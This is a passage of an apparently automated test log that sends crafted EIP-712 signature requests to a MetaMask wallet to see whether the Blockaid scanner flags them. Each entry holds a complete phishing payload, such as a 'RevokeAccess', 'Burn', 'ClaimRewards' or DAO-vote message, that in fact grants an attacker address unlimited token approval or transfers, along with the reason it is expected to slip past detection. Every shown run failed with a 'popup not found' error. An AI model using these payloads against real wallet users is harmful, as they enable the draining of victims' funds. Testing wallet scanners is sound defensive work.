Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:40:41.113Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:40:50.681Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:41:00.245Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:41:09.818Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:41:19.382Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:41:28.951Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:41:38.524Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN67-EIP3009-022", "timestamp": "2026-01-31T19:41:48.094Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x5538ee3326924e354fb6adf5c70aa7417eaa5aeabf102db2912da673207d2360\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN67-EIP3009-054", "timestamp": "2026-01-31T19:41:57.658Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x5c0ff58448763b9968ee330f5a51a2de0ef304c592dd33ad7e8609ca7466942c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:42:07.234Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:42:16.808Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:42:26.373Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:42:35.952Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:42:45.518Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:42:55.088Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:43:04.661Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:43:14.230Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:43:23.803Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:43:33.364Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 